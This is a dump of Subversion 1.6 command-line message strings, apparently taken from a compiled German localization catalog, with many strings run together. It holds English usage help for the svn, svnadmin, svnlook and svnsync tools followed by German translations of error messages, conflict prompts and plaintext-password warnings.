                             'theirs-conflict', 'mine-full', 'theirs-full')specify lock comment ARGspecify log message ARGspecify revision number ARGspecify revision number ARG (or X:Y range)specify transaction name ARGspecify which collection of revisions to display
                             ('merged', 'eligible')storing checksum-reps recordstoring copy recordstoring node revisionstoring node-origins recordstoring representationstoring transaction recordsubcommand argument required
svn: run 'svn cleanup' to remove locks (type 'svn help cleanup' for details)
svndiff data requested non-existent sourcesvndiff requested position beyond end of streamsvndiff window length is corruptsvnserve log filesvnserve: Root path '%s' does not exist or is not a directory.
svnserve: The --service flag is only valid if the process is started by the Service Control Manager.
switchsystem('%s') returned %dthe change made by revision ARG (like -r ARG-1:ARG)
                             If ARG is negative this is like -r ARG:ARG-1the change made in revision ARGtimed out waiting for servertreat value as being in charset encoding ARGtry operation but make no changestunnel modetunnel username (default is current uid's name)
                             [mode: tunnel]type of repository: 'fsfs' (default) or 'bdb'unexpected kind for revert-base '%s'unknownunknown capability '%s'unknown operationunversionedupdateusage: 1. svnlook propget REPOS_PATH PROPNAME PATH_IN_REPOS
                           2. svnlook propget --revprop REPOS_PATH PROPNAME

Print the raw value of a property on a path in the repository.
With --revprop, print the raw value of a revision property.
usage: 1. svnlook proplist REPOS_PATH PATH_IN_REPOS
                             2. svnlook proplist --revprop REPOS_PATH

List the properties of a path in the repository, or
with the --revprop option, revision properties.
With -v, show the property values too.
usage: svn <subcommand> [options] [args]
Subversion command-line client, version %s.
Type 'svn help <subcommand>' for help on a specific subcommand.
Type 'svn --version' to see the program version and RA modules
  or 'svn --version --quiet' to see just the version number.

Most subcommands take file and/or directory arguments, recursing
on the directories.  If no arguments are supplied to such a
command, it recurses on the current directory (inclusive) by default.

Available subcommands:
usage: svnadmin crashtest REPOS_PATH

Open the repository at REPOS_PATH, then abort, thus simulating
a process that crashes while holding an open repository handle.
usage: svnadmin create REPOS_PATH

Create a new, empty repository at REPOS_PATH.
usage: svnadmin deltify [-r LOWER[:UPPER]] REPOS_PATH

Run over the requested revision range, performing predecessor delti-
fication on the paths changed in those revisions.  Deltification in
essence compresses the repository by only storing the differences or
delta from the preceding revision.  If no revisions are specified,
this will simply deltify the HEAD revision.
usage: svnadmin dump REPOS_PATH [-r LOWER[:UPPER] [--incremental]]

Dump the contents of filesystem to stdout in a 'dumpfile'
portable format, sending feedback to stderr.  Dump revisions
LOWER rev through UPPER rev.  If no revisions are given, dump all
revision trees.  If only LOWER is given, dump that one revision tree.
If --incremental is passed, the first revision dumped will describe
only the paths changed in that revision; otherwise it will describe
every path present in the repository as of that revision.  (In either
case, the second and subsequent revisions, if any, describe only paths
changed in those revisions.)
usage: svnadmin help [SUBCOMMAND...]

Describe the usage of this program or its subcommands.
usage: svnadmin hotcopy REPOS_PATH NEW_REPOS_PATH

Makes a hot copy of a repository.
usage: svnadmin list-dblogs REPOS_PATH

List all Berkeley DB log files.

WARNING: Modifying or deleting logfiles which are still in use
will cause your repository to be corrupted.
usage: svnadmin list-unused-dblogs REPOS_PATH

List unused Berkeley DB log files.

usage: svnadmin load REPOS_PATH

Read a 'dumpfile'-formatted stream from stdin, committing
new revisions into the repository's filesystem.  If the repository
was previously empty, its UUID will, by default, be changed to the
one specified in the stream.  Progress feedback is sent to stdout.
usage: svnadmin lslocks REPOS_PATH [PATH-IN-REPOS]

Print descriptions of all locks on or under PATH-IN-REPOS (which,
if not provided, is the root of the repository).
usage: svnadmin lstxns REPOS_PATH

Print the names of all uncommitted transactions.
usage: svnadmin pack REPOS_PATH

Possibly compact the repository into a more efficient storage model.
This may not apply to all repositories, in which case, exit.
usage: svnadmin recover REPOS_PATH

Run the recovery procedure on a repository.  Do this if you've
been getting errors indicating that recovery ought to be run.
Berkeley DB recovery requires exclusive access and will
exit if the repository is in use by another process.
usage: svnadmin rmlocks REPOS_PATH LOCKED_PATH...

Unconditionally remove lock from each LOCKED_PATH.
usage: svnadmin rmtxns REPOS_PATH TXN_NAME...

Delete the named transaction(s).
usage: svnadmin setlog REPOS_PATH -r REVISION FILE

Set the log-message on revision REVISION to the contents of FILE.  Use
--bypass-hooks to avoid triggering the revision-property-related hooks
(for example, if you do not want an email notification sent
from your post-revprop-change hook, or because the modification of
revision properties has not been enabled in the pre-revprop-change
hook).

NOTE: Revision properties are not versioned, so this command will
overwrite the previous log message.
usage: svnadmin setrevprop REPOS_PATH -r REVISION NAME FILE

Set the property NAME on revision REVISION to the contents of FILE. Use
--use-pre-revprop-change-hook/--use-post-revprop-change-hook to trigger
the revision property-related hooks (for example, if you want an email
notification sent from your post-revprop-change hook).

NOTE: Revision properties are not versioned, so this command will
overwrite the previous value of the property.
usage: svnadmin setuuid REPOS_PATH [NEW_UUID]

Reset the repository UUID for the repository located at REPOS_PATH.  If
NEW_UUID is provided, use that as the new repository UUID; otherwise,
generate a brand new UUID for the repository.
usage: svnadmin upgrade REPOS_PATH

Upgrade the repository located at REPOS_PATH to the latest supported
schema version.

This functionality is provided as a convenience for repository
administrators who wish to make use of new Subversion functionality
without having to undertake a potentially costly full repository dump
and load operation.  As such, the upgrade performs only the minimum
amount of work needed to accomplish this while still maintaining the
integrity of the repository.  It does not guarantee the most optimized
repository state as a dump and subsequent load would.
usage: svnadmin verify REPOS_PATH

Verifies the data stored in the repository.
usage: svnlook author REPOS_PATH

Print the author.
usage: svnlook cat REPOS_PATH FILE_PATH

Print the contents of a file.  Leading '/' on FILE_PATH is optional.
usage: svnlook changed REPOS_PATH

Print the paths that were changed.
usage: svnlook date REPOS_PATH

Print the datestamp.
usage: svnlook diff REPOS_PATH

Print GNU-style diffs of changed files and properties.
usage: svnlook dirs-changed REPOS_PATH

Print the directories that were themselves changed (property edits)
or whose file children were changed.
usage: svnlook help [SUBCOMMAND...]

Describe the usage of this program or its subcommands.
usage: svnlook history REPOS_PATH [PATH_IN_REPOS]

Print information about the history of a path in the repository (or
the root directory if no path is supplied).
usage: svnlook info REPOS_PATH

Print the author, datestamp, log message size, and log message.
usage: svnlook lock REPOS_PATH PATH_IN_REPOS

If a lock exists on a path in the repository, describe it.
usage: svnlook log REPOS_PATH

Print the log message.
usage: svnlook tree REPOS_PATH [PATH_IN_REPOS]

Print the tree, starting at PATH_IN_REPOS (if supplied, at the root
of the tree otherwise), optionally showing node revision ids.
usage: svnlook uuid REPOS_PATH

Print the repository's UUID.
usage: svnlook youngest REPOS_PATH

Print the youngest revision number.
usage: svnserve [-d | -i | -t | -X | --service] [options]

Valid options:
usage: svnserve [-d | -i | -t | -X] [options]

Valid options:
usage: svnsync copy-revprops DEST_URL [REV[:REV2]]

Copy the revision properties in a given range of revisions to the
destination from the source with which it was initialized.

If REV and REV2 are provided, copy properties for the revisions
specified by that range, inclusively.  If only REV is provided,
copy properties for that revision alone.  If REV is not provided,
copy properties for all revisions previously transferred to the
destination.

REV and REV2 must be revisions which were previously transferred
to the destination.  You may use "HEAD" for either revision to
mean "the last revision transferred".
usage: svnsync help [SUBCOMMAND...]

Describe the usage of this program or its subcommands.
usage: svnsync info DEST_URL

Print information about the synchronization destination repository
located at DEST_URL.
usage: svnsync initialize DEST_URL SOURCE_URL

Initialize a destination repository for synchronization from
another repository.

The destination URL must point to the root of a repository with
no committed revisions.  The destination repository must allow
revision property changes.

If the source URL is not the root of a repository, only the
specified part of the repository will be synchronized.

You should not commit to, or make revision property changes in,
the destination repository by any method other than 'svnsync'.
In other words, the destination repository should be a read-only
mirror of the source repository.
usage: svnsync synchronize DEST_URL

Transfer all pending revisions to the destination from the source
with which it was initialized.
usage: svnversion [OPTIONS] [WC_PATH [TRAIL_URL]]

  Produce a compact 'version number' for the working copy path
  WC_PATH.  TRAIL_URL is the trailing portion of the URL used to
  determine if WC_PATH itself is switched (detection of switches
  within WC_PATH does not rely on TRAIL_URL).  The version number
  is written to standard output.  For example:

    $ svnversion . /repos/svn/trunk
    4168

  The version number will be a single number if the working
  copy is single revision, unmodified, not switched and with
  an URL that matches the TRAIL_URL argument.  If the working
  copy is unusual the version number will be more complex:

   4123:4168     mixed revision working copy
   4168M         modified working copy
   4123S         switched working copy
   4123P         partial working copy, from a sparse checkout
   4123:4168MS   mixed revision, modified, switched working copy

  If invoked on a directory that is not a working copy, an
  exported directory say, the program will output 'exported'.

  If invoked without arguments WC_PATH will be the current directory.

Valid options:
use ARG as diff commanduse ARG as external editoruse ARG as merge commanduse ARG as the newer targetuse ARG as the older targetuse a different EOL marker than the standard
                             system marker for files with the svn:eol-style
                             property set to 'native'.
                             ARG may be one of 'LF', 'CR', 'CRLF'use deltas in dump outputuse format compatible with Subversion versions
                             earlier than 1.4use format compatible with Subversion versions
                             earlier than 1.5use format compatible with Subversion versions
                             earlier than 1.6use strict semanticsuse threads instead of fork [mode: daemon]use/display additional information from merge
                             historywait instead of exit if the repository is in
                             use by another processwrite server process ID to file ARG
                             [mode: daemon, listen-once, service]write server process ID to file ARG
                             [mode: daemon, listen-once]yes||||||| ORIGINALProject-Id-Version: subversion 1.6
Report-Msgid-Bugs-To: dev@subversion.tigris.org
POT-Creation-Date: 2009-03-17 14:50+0100
PO-Revision-Date: 2009-03-18 11:08+0100
Last-Translator: Subversion Developers <dev@subversion.tigris.org>
Language-Team: German <dev@subversion.tigris.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);

  (e)  editieren          - zusammengeführte Datei in einem Editor ändern
  (df) voller Diff        - alle Änderungen in der zusammengeführten Datei anzeigen
  (r)  aufgelöst          - akzeptieren der zusammengeführten Version der Datei
  (dc) Konflikte anzeigen - alle Konflikte anzeigen (die zusammengeführte Version
                            ignorieren)
  (mc) mine-conflict      - eigene Version für alle Konflikte akzeptieren (das selbe)
  (tc) theirs-conflict    - fremde Version für alle Konflikte akzeptieren (das selbe)

  (mf) volle eigene Datei - die eigene Version der kompletten Datei akzeptieren
                            (selbst Nicht-Konflikte)
  (tf) volle fremde Datei - die fremde Version der kompletten Datei akzeptieren
                            (das selbe)
  (p)  zurückstellen      - den Konflikt erst später auflösen
  (l)  starten            - Starten eines externen Programms zur Konfliktauflösung
  (s)  alle anzeigen      - diese Liste anzeigen


--- Änderungsliste »%s«:

------- Neue Revision %ld übertragen (geladen aus Original %ld) >>>


------- Übertrage Revision %ld >>>


Revision %ld übertragen.

Cyrus-SASL-Authentifizierung ist verfügbar.

Fehler: keine Präfixe angegeben.

Hole externen Verweis nach »%s«

Globale Optionen:

Logmeldung unverändert oder nicht angegeben
(A)bbrechen, Weiterma(c)hen, (E)ditieren:

Hole Status des externen Verweises in »%s«

Wiederherstellung vollständig abgeschlossen.

Aktualisierung abgeschlossen.

Gültige Optionen:

Warnung: %s
     * Füge Pfad hinzu: %s ...     * Lösche Pfad: %s ...     * Bearbeite Pfad: %s ...     * Ersetze Pfad: %s ...   %ld => (verworfen)
   Zusammengeführt %s:r%s%s   Rückgängiges Zusammenführen: %s:r%s%s  (p)  zurückstellen      - den Konflikt erst später auflösen
  (mf) volle eigene Datei - vorher existierende Daten akzeptieren (Hinzufügungen
                            ignorieren)
  (tf) volle fremde Datei - eingehende Daten akzeptieren (überschreiben vorher
                            existierender Daten)
  (h)  Hilfe              - diese Hilfe anzeigen

  - behandelt Schema »%s«
  Eigenschaftskonflikte: %u
  Übersprungene Pfade: %u
  Textkonflikte: %u
  Baumkonflikte: %u
 (%a, %d. %b %Y) (von %s:%ld) - Das Zertifikat hat einen unbekannten Fehler.
 - Das Zertifikat ist abgelaufen.
 - Der Hostname des Zertifikats stimmt nicht überein.
 - Das Zertifikat ist nicht von einer vertrauenswürdigen Instanz ausgestellt
   Überprüfen Sie den Fingerabdruck, um das Zertifikat zu validieren!
 - Das Zertifikat ist noch nicht gültig.
 PAR erledigt.
 ohne Ausgabe. mit Ausgabe:
 | %d Zeile | %d Zeilen»%s«: unbekannter Befehl.

%a %e. %b %H:%M:%S %Y%d. %b %Y%d. %b %H:%M%s	(Revision %ld)%s	(Arbeitskopie)%s wird durch Aktion %s behindert (Exit-Code %d)Aktion »%s« schlug fehl (Exit-Code %d)%s von »%s«%s von »%s«: %d %s (%s://%s)%s, Version %s
   übersetzt %s, %s

%s:  (Keine gültige URL)

%s:  (Keine versionierte Ressource)

%sEigenschaftsänderungen: %s%s%swarnung: %s
»%s«
ist nicht das selbe Projektarchiv wie
»%s«»%s« existiert bereits»%s« existiert bereits und ist im Weg»%s« existiert bereits und ist kein Verzeichnis»%s« enthält eine ungültige Dateisystemformat-Option »%s«»%s« scheint keine URL zu sein»%s« scheint kein Pfad einer Arbeitskopie zu sein»%s« definiert »%s()« nicht»%s« ist nicht vorhanden»%s« existiert nicht in Revision %ld»%s« hat keine zugehörige URL»%s« endet mit einem reservierten Namen»%s« existiert und ist nicht leer»%s« existiert und ist kein Verzeichnis»%s« hat einen nicht erkannten Knotentyp»%s« hat lokale Änderungen»%s« has Sperrmarke, aber keinen Sperreigner»%s« hat keine URL»%s« hat keine Informationen über seine VorgängerAktion »%s« schlug fehl (wurde nicht sauber beendet: apr_exit_why_e war %d, Exit-Code war %d). »%s«-Aktion war erfolgreich, aber die Fehlerausgabe konnte nicht gelesen werden»%s« in Revision %ld hat keinen Bezug zur Arbeitskopie»%s« ist eine URL obwohl es ein Pfad sein sollte
»%s« ist eine URL, aber URLs können nicht übertragen werden»%s« ist eine URL, sollte vermutlich ein Pfad sein»%s« ist ein Vrzeichnis and kann deswegen nicht Element einer Änderungsliste sein»%s« ist ein reservierter Name und kann nicht importiert werden »%s« ist ein Unterverzeichnis eines existierenden Projektarchivs mit der Wurzel-URL »%s«»%s« ist eine AK-Eigenschaft und damit den Clients nicht zugänglich»%s« ist bereits eine Arbeitskopie für eine andere URL»%s« befindet sich bereits unter Versionskontrolle»%s« ist eine URL, obwohl es ein Pfad sein sollte»%s« ist der Ressource, die sich unter Versionskontrolle befindet, im Weg»%s« ist als abwesend markiert, es kann daher nicht für die Übertragung
eingeplant werden»%s« ist weder ein Datei- noch ein Verzeichnisname»%s« ist keine URL»%s« ist kein Verzeichnis»%s« ist kein Verzeichnis im Dateisystem »%s«»%s« ist keine Datei»%s« ist im Dateisystem »%s« keine Datei»%s« ist in Revision %ld keine Datei»%s« ist weder eine Datei noch ein Verzeichnis»%s« ist kein gültiger Wert für --accept»%s« ist kein gültiger Wert für --show-revs»%s« ist kein gültiger EOL Wert»%s« ist kein gültiger Subversion-Eigenschaftsname»%s« ist kein gültiger Verwaltungsverzeichnisname»%s« ist keine gültige Tiefe; versuchen Sie »empty«, »files«, »immediates« oder »infinity«»%s« ist keine gültige Tiefe; versuchen Sie »exclude«, »empty«, »files«, »immediates« oder »infinity«»%s« ist kein gültiger Revisionsbereich»%s« ist keine Arbeitskopie»%s« ist kein Verzeichnis einer Arbeitskopie»%s« ist nicht gesperrt»%s« ist im Projektarchiv nicht gesperrt»%s« ist in dieser Arbeitskopie nicht gesperrt»%s« ist nicht die Basis des Projektarchivs»%s« ist nicht unter Versionskontrolle»%s« ist weder unter Versionskontrolle noch Teil einer Übertragung, dennoch ist sein Kind »%s« Teil einer Übertragung»%s« ist veraltet»%s« ist zum Hinzufügen innerhalb einer nicht versionierten Struktur vorgesehen»%s« ist zum Hinzufügen vorgesehen, fehlt aber»%s« ist nicht im selben Projektarchiv wie »%s«»%s« gesperrt durch »%s«.
»%s« muss aus dem selben Projektarchiv wie »%s« stammen»%s« nicht gefunden»%s« nicht im Dateisystem gefunden»%s« nicht versioniert und nicht exportiert
»%s« Pfad nicht gefunden»%s« verweist auf ein Verzeichnis»%s« hat %d zurückgegebenUmplatzieren von »%s« nach »%s« ist nicht möglich»%s« freigegeben.
»%s« wurde im Projektarchiv in Revision %ld nicht gefunden»%s« existierte nicht für die Baseline-Ressource»%s« existierte nicht für die Ressource»%s@%ld« muss eine Vorgängerbeziehung zu »%s@%ld« habenOption »--new« ist nur in Verbindung mit der Option »--old« zulässigOption »--xml« ist nur in Verbindung mit der Option »--summarize« zulässig»DAV:baseline-collection« ist nicht in der Baseline-Ressource enthalten»get-deleted-rev« REPORT nicht implementiert»get-deleted-rev« nicht implementiert»get-file-revs«-REPORT nicht implementiert»get-file-revs« nicht implementiert»get-locations-segments«-REPORT nicht implementiert»get-location-segments« nicht implementiert»get-locations« REPORT nicht implementiert»get-locations« nicht implementiertOption »incremental« ist nur im XML-Modus gültig»stat« nicht implementiertOption »verbose« ist im XML-Modus ungültigOption »with-all-revprops« ist nur im XML-Modus gültigOption »with-no-revprops« ist nur im XML-Modus gültigOption »with-revprop« ist nur im XML-Modus gültig(Binärdateien sind unterschiedlich)

Ve(r)werfen oder (t)emporär akzeptieren? Ve(r)werfen, (t)emporär akzeptieren oder (p)ermanent akzeptieren? (ungültiges Datum)(lokal)(kein Autor)(kein Datum) (s) alle Optionen anzeigen: * Revision %ld ausgegeben.
* Revision %ld verifiziert.
,
         (mc) eigene konfliktbehaftete Datei, (tc) fremde konfliktbehaftete Datei,
         (mf) volle eigene Datei, (tf) volle fremde Datei, (df) voller Diff, (e) editieren, (r) aufgelöst-- Zusammenführen (aus fremden Projektarchiv) von r%ld in »%s«:
-- Zusammenführen (aus fremden Projektarchiv) von r%ld bis r%ld in »%s«:
-- Zusammenführen der Unterschiede zwischen fremden Projektarchiv-URLs in »%s«:
-- Zusammenführen der Unterschiede zwischen Projektarchiv-URLs in »%s«:
-- Zusammenführen von r%ld in »%s«:
-- Zusammenführen von r%ld bis r%ld in »%s«:
-- Rückwärtiges Zusammenführen (aus fremden Projektarchiv) von r%ld in »%s«:
-- Rückwärtiges Zusammenführen (aus fremden Projektarchiv) von r%ld bis r%ld in »%s«:
-- Rückwärtiges Zusammenführen von r%ld in »%s«:
-- Rückwärtiges Zusammenführen von r%ld bis r%ld in »%s«:
-----------------------------------------------------------------------
ACHTUNG! Ihre Passphrase für das Klient-Zertifikat:

   %s

kann auf der Platte nur unverschlüsselt gespeichert werden! Es wird
empfohlen, falls möglich Ihr System so zu konfigurieren, dass Subversion
Passphrasen verschlüsselt speichern kann. Siehe die Dokumentation für
Details.

Sie können ein weiteres Anzeigen dieser Warnung verhindern, indem Sie
den Wert der Option »store-ssl-client-cert-pp-plaintext« in
»%s«
entweder auf »ja« oder »nein« setzen.
-----------------------------------------------------------------------
-----------------------------------------------------------------------
ACHTUNG! Ihr Password für den Anmeldungstext (realm)

   %s

kann auf der Platte nur unverschlüsselt gespeichert werden! Es wird
empfohlen, falls möglich Ihr System so zu konfigurieren, dass Subversion
Passwörter verschlüsselt speichern kann. Siehe die Dokumentation für
Details.

Sie können ein weiteres Anzeigen dieser Warnung verhindern, indem Sie
den Wert der Option »store-plaintext-passwords« in
»%s«
entweder auf »ja« oder »nein« setzen.
-----------------------------------------------------------------------
-- Diese und die folgenden Zeilen werden ignoriert ----accept=%s ist mit --non-interactive nicht kompatibel--auto-props und --no-auto-props schließen sich gegenseitig aus--depth und --set-depth schließen sich gegenseitig aus--depth kann nicht mit --reintegrate verwendet werdenOption --encoding ist nur für textbasierte von Subversion kontrollierte Eigenschaften angebbar--force kann nicht mit --reintegrate verwendet werden--reintegrate kann nicht mit --ignore-ancestry verwendet werden--reintegrate kann nicht mit --ignore-ancestry oder --record-only verwendet werden--reintegrate kann nicht mit --record-only verwendet werden--relocate und --depth schließen sich gegenseitig aus--trust-server-cert erfordert --non-interactive--verbose kann nicht mit --revprop oder --strict oder --xml verwendet werden--with-all-revprops und --with-no-revprops schließen sich gegenseitig aus--with-revprop und --with-no-revprops schließen sich gegenseitig aus-c und -r schließen sich gegenseitig aus-r und -c können nicht mit --reintegrate verwendet werden.merge-links.r%ld.merge-rechts.r%ld.working; vervollständigen Sie diese mit »svn update«.<<< Neue Transaktion basierend auf Originalrevision %ld gestartet
<<<<<<< EIGENE (Auswahl mit »mc«)<delta-pkg> fehlt die Herkunft>>>>>>> FREMDE (Auswahl mit »tc«)Eine MERGE-Antwort für »%s« ist kein Kind des Ziels (»%s«)Ein Prüfsummenfehler ist aufgetretenEin Konflikt in der Arbeitskopie behindert die aktuelle OperationEin externer Dateiverweis kann kein existierendes versioniertes Objekt überschreibenEine Logmeldung wurde angegeben wo keine nötig istFür diese Operation wird ein Pfad unter Versionskontrolle benötigtEin Problem ist aufgetreten, für Details siehe andere FehlermeldungenEs kann kein Report erzeugt werden, da keine Daten geliefert wurdenEine Aktion im Projektarchiv schlug fehlEine Darstellung ist zwischen Lesezugriffen verschwunden oder hat sich verändertBeim Zusammenführen von Arbeitskopien wird eine explizite Revision benötigtPAR (manche Befehle akzeptieren auch einen
                             Wertebereich PAR1:PAR2)
                             Ein Revisionsparameter kann sein:
                                NUMMER       Revisionsnummer
                                »{«DATUM»}«  Revision zum Startdatum
                                »HEAD«       neueste Revision im Projektarchiv
                                »BASE«       Basisrevision der Arbeitskopie
                                »COMMITTED«  letzte übertragene Revision zu
                                             oder vor BASE
                                »PREV«       letzte Revision vor COMMITTEDÜbertragung abgebrochen: »%s« bleibt im KonfliktÜbertragung abgebrochen: »%s« verursacht weiterhin einen BaumkonfliktGemischte Zugriffsverfahren werden noch nicht unterstützt (»%s« and »%s«)Aktivität nicht gefundenHinzugefügtHinzugefügt: %s
Hinzugefügt: %s%sHinzufügen     %s
Hinzuf. (bin)  %s
Hinzufügen eines Verzeichnisses schlug fehl: %s auf %s (%d)Alle Anmeldemöglichkeiten erschöpftAlle nicht-relativen Ziele müssen die selbe Wurzel-URL habenApache hat eine fehlerhafte URI erhaltenApache besitzt keinen Pfad zu einem SVN DateisystemWendet die Unterschiede zwischen zwei Quellen auf einen Arbeitskopiepfad
an.
Aufruf: 1. merge QuellURL1[@N] QuellURL2[@M] [AKPfad]
        2. merge QuellAKPfad1@N QuellAKPfad2@M [AKPfad]
        3. merge [-c M[,N...] | -r N:M ...] QUELLE[@REV] [AKPfad]

  1. In der ersten Form werden die Quell-URLs in den Revisionen
     N und M angegeben. Dies sind die beiden Quellen, die verglichen werden.
     Die Revisionen entsprechen HEAD, wenn keine Nummern angegeben wurden.

  2. In der zweiten Form werden die den Arbeitskopiepfaden entsprechenden
     URLs miteinander verglichen. Die Revisionen müssen angegeben werden.

  3. In der dritten Form kann QUELLE eine URL oder ein Arbeitskopiepfad
     (in diesem Fall wird die entsprechende URL verwendet) sein. QUELLE
     (in Revision REV) wird verglichen, wie es zwischen den Revisionen N
     und M für jeden angegebenen Revisionsbereich existierte. Ohne Angabe
     von REV wird HEAD verwendet. Die Option »-c M« ist äquivalent zu
     »-r <M-1>:M« und »-c -M« kehrt dies um: »-r M:<M-1>«. Falls keine
     Revisionsbereiche angegeben wurden, wird 0:REV verwendet. Mehrere
     Angaben von »-c« und/oder »-r« sind möglich und das Mischen von
     vor- und rückwärtigen Bereichen ist erlaubt.

  AKPfad ist der Arbeitskopiepfad, in den die Änderungen geschrieben werden.
  Die Vorgabe für AKPfad ist ».«, es sei denn, die Quellen haben einen
  identischen Basisnamen, der eine Datei unterhalb von ».« beschreibt.
  In diesem Fall werden die Änderungen auf die gefundene Datei angewandt.

  ACHTUNG: Subversion wird nur Metadaten zum Verfolgen der Zusammenführung
  aufzeichnen, falls die zwei Quellen sich in der selben Historienabfolge
  befinden - falls die erste Quelle ein Vorgänger der zweiten ist oder
  umgekehrt. Dies ist garantiert der Fall, falls die dritte Form verwendet
  wird. Die Option --ignore-ancestry überschreibt dies und zwingt Subversion
  dazu, die Quellen als nicht zueinander bezogen zu betrachten und die
  Zusammenführung nicht aufzuzeichnen.
Text-Delta Anwendung bereits aktivText-Delta Anwendung nicht aktivSind alle Ziele Teil derselben Arbeitskopie?Parameter für --limit muss positiv seinAssert-Anweisung schlug fehlVerknüpft Änderungsliste CLNAME (oder löst diese Verknüpfung)
mit den angegebenen Dateien.
Aufruf: 1. changelist CLNAME ZIEL...
        2. changelist --remove ZIEL...
Mindestens eine Eigenschaftsänderung schlug fehl; Projektarchiv nicht geändertZumindest eine Revision (r%ld) aus »%s« wurde nicht zusammengeführtWenn eine Basisrevision angegeben wurde, muss zumindest eine Revision auf dem Server seinRevision %ld.
Es wurde versucht, einen Baumkonflikt hinzuzufügen, den es bereits gibtVersuch, einen nicht-veränderlichen Knoten des Dateisystems zu ändernVersuch, Deltas von »%s« gegen sich selber zu erstellenDer Versuch, die Eigenschaft »%s« abzufragen, führte zu »%s«Versuch, leeren Abwicklungsstapel abzurufenVersuch, Basisverzeichnis des Dateisystems zu entfernen oder neu zu erstellenVersuch, die Eigenschaft »%s« der Arbeitskopie während einer
Nicht-Übertragungs-Operation auf »%s« zu setzenVersuch, mit nicht leerem Abwicklungsstapel zu entsperrenAusführen einer Operation in einem Verwaltungsverzeichnis versuchtVersuchte, die Informationen zur Zusammenführungsverfolgung eines nicht-veränderlichen Knotens zu ändernVersuchte, die Anzahl der Zusammenführungsinformationen eines nicht-veränderlichen Knoten zu ändernVersuchte, einen nicht-veränderlichen Knoten zu entfernenVersuchte, Unterknoten eines nicht-veränderlichen Knotens zu klonenVersuchte, Knoten mit illegalem Namen »%s« anzulegenVersuchte, Eintrag in einem *nicht* Verzeichnisknoten anzulegenVersuchte, Eintrag anzulegen, der bereits existiertVersuchte, einen Knoten mit illegalem Namen »%s« zu löschenVersuchte, Eintrag »%s« aus einem *nicht* Verzeichnisknoten zu löschenVersuchte, Eintrag »%s« aus einem nicht-veränderlichen Verzeichnisknoten zu löschenVersuchte, die Prüfsumme eines *nicht* Dateiknotens zu holenVersuchte, die Länge eines *nicht* Dateiknotens zu holenVersuchte, den Textinhalt eines *nicht* Dateiknotens zu holenVersuch, ein bereits gesperrtes Verzeichnis erneut zu sperrenVersuchte, Unterknoten mit illegalem Namen »%s« zu klonenVersuchte, einen Knoten mit illegalem Namen »%s« zu öffnenVersuchte, nicht existierenden Unterknoten »%s« zu öffnenVersuchte, Eintrag in einem nicht-veränderlichen Knoten zu setzenVersuchte, Eintrag in einem *nicht* Verzeichnisknoten zu setzenVersuchte, den Textinhalt eines *nicht* Dateiknotens zu setzenVersuchte, den Textinhalt eines nicht-veränderlichen Knotens zu setzenVersuch, in eine Nicht-Transaktion zu schreibenVersuch, in eine nur lesbare SQLite-Datenbank zu schreibenVersuch, eine beschränkte Operation für veränderte Ressource auszuführenVersuch, mehrfach zu einer URL zu übertragenVersuchte, nicht existierende Eigenschaft »%s« zu löschenAnmeldefehler von Server: %sAuthentifizierung schlug fehlAnmeldebereich: %s
Autorenname darf keinen Zeilenumbruch enthaltenAutorisierung schlug fehlFehlerhafte ID im ZwischenspeicherUngültige URL an die ZM-Schicht übergebenFalsche Parameter »kopieren von« erhaltenFalsche Datenbankversion: Übersetzt mit %d.%d.%d, läuft mit %d.%d.%dFalsche Datenbankversion: %d.%d.%d, sollte mindestens %d.%d.%d seinFehlerhaftes Zusammenführen: Vorgänger, Quelle und Ziel nicht im gleichen DateisystemFehlerhaftes Zusammenführen: Ziel »%s« hat die gleiche ID »%s« wie der Vorgänger.Falscher Elternpool an svn_make_pool() übergebenFehlerhafter EigenschaftsnameUngültiger Name für Eigenschaft: »%s«Prüfsummenfehler für »%s«:
   Erwartet:    %s
   Tatsächlich: %s
»Baseline« nicht korrektDeadlock-Fehler der Berkeley DatenbankBerkeley-DB-FehlerBerkeley-DB-Fehler für Dateisystem »%s« während %s:
Berkeley-DB-Fehler für Dateisystem »%s« beim Schließen der Umgebung:
Berkeley-DB-Fehler für Dateisystem »%s« beim Erzeugen der Umgebung:
Berkeley-DB-Fehler für Dateisystem »%s« beim Öffnen der Umgebung:
Fehlerhafte ID »%s« im ZwischenspeicherUngültige URLUngültige UUIDUngültiges DatumUngültiger DateinameUngültiger Mime-TypFalsche Revisionsinformation angegebenUngültiger RevisionsreportFalsche ServerangabeAktualisiert die Arbeitskopie mit Änderungen aus dem Projektarchiv.
Aufruf: update [PFAD...]

  Ist keine Revision angegeben, wird die Arbeitskopie auf den aktuellen
  Stand der HEAD-Revision gebracht. Ansonsten wird die Arbeitskopie mit der
  durch -r angegebenen Revision synchronisiert.

  Für jedes aktualisierte Objekt wird eine Zeile mit einem Buchstaben für die
  durchgeführte Aktion ausgegeben. Diese haben die folgenden Bedeutungen

    A  Added    - Hinzugefügt
    D  Deleted  - Gelöscht
    U  Updated  - Aktualisiert
    C  Conflict - Konflikt
    G  Merged   - Zusammengeführt
    E  Existed  - Existierend

  Ein Buchstabe in der ersten Spalte symbolisiert eine Aktualisierung der
  Datei, während Aktualisierungen der Dateieigenschaften in der zweiten
  Spalte angezeigt werden.
  Ein »B« in der dritten Spalte zeigt an, dass die Sperre für die Datei
  aufgebrochen oder gestohlen wurde.

  Falls --force verwendet wird, werden nichtversionierte behindernde Pfade in
  der Arbeitskopie nicht automatisch einen Fehlschlag verursachen, wenn die
  Aktualisierung versucht, den selben Pfad hinzufügen. Ist der behindernde Pfad
  vom selben Typ (Datei oder Verzeichnis) wie der entsprechende Pfad im
  Projektarchiv, wird es versioniert, aber der Inhalt verbleibt wie er ist
  in der Arbeitskopie.
  Das bedeutet, dass nichtversionierte Kinder eines behindernden
  Verzeichnisses ebenso behindert werden und versioniert werden können. Für
  Dateien werden alle inhaltlichen Unterschiede zwischen der Behinderung und
  dem Projektarchiv wie lokale Änderungen in der Arbeitskopie interpretiert.
  Alle Eigenschaften des Projektarchivs werden auf den behindernden Pfad
  angewandt. Behindernde Pfade werden in der ersten Spalte mit »E« angezeigt.

  Verwenden Sie die Option --set-depth, um eine neue Arbeitskopietiefe für
  die Ziele dieser Operation zu setzen. Zurzeit kann die Tiefe eines
  Arbeitskopieverzeichnisses nur erhöht werden (tiefer ineinander geschachtelt);
  eine Verzeichnistiefe kann nicht reduziert werden.
